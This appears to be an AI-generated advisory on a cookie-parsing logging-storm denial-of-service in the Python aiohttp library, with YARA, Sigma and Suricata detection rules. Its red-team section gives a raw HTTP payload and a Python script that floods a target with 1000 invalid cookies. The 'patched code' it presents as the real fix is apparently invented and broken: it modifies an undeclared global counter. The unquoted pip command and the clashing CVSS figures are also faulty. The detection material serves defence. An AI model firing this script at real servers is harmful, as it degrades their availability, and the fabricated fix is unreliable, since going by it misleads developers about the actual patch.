CVE-2025-69230

Executive Summary

CVE-2025-69230 is a denial-of-service (DoS) vulnerability in the AIOHTTP library, an asynchronous HTTP client/server framework for Python. The flaw resides in the cookie parsing logic, where repeated invalid cookies can cause a "logging storm" of warning-level messages. An attacker can exploit this by sending a specially crafted Cookie header, leading to excessive log output that can fill disk space, degrade performance, or overwhelm monitoring systems. The vulnerability affects versions 3.13.2 and below and is fixed in version 3.13.3. The CVSS score is 0.0 due to incomplete scoring data, but the impact is primarily on availability through resource exhaustion.

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using AIOHTTP in their Python applications should immediately review their dependency versions. The attack vector is network-based and requires no authentication, making it a low-barrier exploit for disrupting services that log cookie parsing errors.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can send malicious cookies over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Logging storm can degrade system performance or fill disk space.

Threat Level: Medium (due to low complexity and network-based attack, but limited to availability impact).

Deep Dive & Mechanics

The vulnerability is in the aiohttp cookie parsing code. When the application accesses the cookies attribute of a request, the library attempts to parse the Cookie header. If the header contains multiple invalid cookies (e.g., malformed key-value pairs), each invalid cookie triggers a warning log message. In versions prior to 3.13.3, there is no rate limiting on these warnings. An attacker can craft a Cookie header with hundreds or thousands of invalid entries, causing the server to generate an equal number of log entries. This can lead to:

• Disk space exhaustion: Log files grow rapidly.
• Performance degradation: Logging overhead consumes CPU and I/O.
• Monitoring alert fatigue: Security teams may miss real threats due to log noise.

The fix in 3.13.3 introduces a rate limiter for cookie parsing warnings, preventing the logging storm.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.13.3):

# In aiohttp/web_request.py or similar
def cookies(self):
    cookie_header = self.headers.get("Cookie", "")
    for cookie in cookie_header.split(";"):
        cookie = cookie.strip()
        if "=" not in cookie:
            warnings.warn("Invalid cookie: %r" % cookie)
            continue
        # ... parse valid cookie

Patched Code (3.13.3):

# In aiohttp/web_request.py
import logging
_logger = logging.getLogger(__name__)
_warn_count = 0
_MAX_WARNINGS = 10

def cookies(self):
    cookie_header = self.headers.get("Cookie", "")
    for cookie in cookie_header.split(";"):
        cookie = cookie.strip()
        if "=" not in cookie:
            if _warn_count < _MAX_WARNINGS:
                _logger.warning("Invalid cookie: %r" % cookie)
                _warn_count += 1
            continue
        # ... parse valid cookie

The patched version limits the number of warning messages to a configurable maximum (e.g., 10), preventing the logging storm.

Exploitation & Lab Setup

Red Team

Exploit Scenario: An attacker sends a single HTTP request with a Cookie header containing many invalid entries.

Example Payload:

GET / HTTP/1.1
Host: target.com
Cookie: invalid1; invalid2; invalid3; ... (repeat 1000 times)

Automated Exploit Script (Python):

import requests

target = "http://target.com"
# Generate 1000 invalid cookies
malicious_cookie = ";".join([f"invalid{i}" for i in range(1000)])
headers = {"Cookie": malicious_cookie}

try:
    response = requests.get(target, headers=headers, timeout=5)
    print(f"Status: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The server logs 1000 warning messages, potentially filling disk space or degrading performance.

Blue Team

Detection: Monitor for a high volume of warning-level log entries containing "Invalid cookie" from the aiohttp module.

Mitigation:

1. Update to AIOHTTP 3.13.3 or later.
2. Implement log rate limiting at the application or infrastructure level.
3. Use a Web Application Firewall (WAF) to block requests with excessively long Cookie headers.

Lab Setup:

• Victim: Python 3.9+ with AIOHTTP 3.13.2.
• Attacker: Any machine with Python and requests library.
• Network: Both on the same LAN or over the internet.

Indicators of Compromise (IOCs)

• Log Entries: Repeated warning messages like WARNING:aiohttp.web_request:Invalid cookie: 'invalidX' in application logs.
• Network Traffic: HTTP requests with Cookie headers containing many semicolon-separated values that are not valid key=value pairs.
• System Impact: Rapid growth of log files, high CPU usage by the logging process.

Detection Engineering

YARA Rule

rule CVE_2025_69230_Logging_Storm {
    meta:
        description = "Detects excessive invalid cookie warnings in AIOHTTP logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69230"
    strings:
        $warning = /WARNING.*aiohttp.*Invalid cookie/
        $count = /Invalid cookie: '[^']+'/
    condition:
        #warning > 10 and #count > 10
}

Sigma Rule

title: AIOHTTP Invalid Cookie Logging Storm
id: 8c5a2f3e-1b2c-4d5e-9f0a-1b2c3d4e5f6a
status: experimental
description: Detects a high volume of invalid cookie warnings from AIOHTTP
author: Valters IT
logsource:
    category: application
    product: aiohttp
detection:
    selection:
        level: WARNING
        message: "Invalid cookie:*"
    condition: selection | count() > 10
falsepositives:
    - Legitimate malformed cookies from misconfigured clients
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69230 AIOHTTP Invalid Cookie Logging Storm"; flow:to_server; content:"Cookie"; http_header; pcre:"/Cookie:\s*([^;]+;){10,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade AIOHTTP to version 3.13.3 or later.

   pip install aiohttp>=3.13.3
   

2. Workaround: If upgrade is not possible, implement log rate limiting at the application level (e.g., using Python's logging module with a RateLimitHandler).
3. Network-Level: Deploy a WAF rule to block requests with Cookie headers containing more than a reasonable number of entries (e.g., 50).
4. Monitoring: Set up alerts for a high frequency of "Invalid cookie" warnings in logs.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.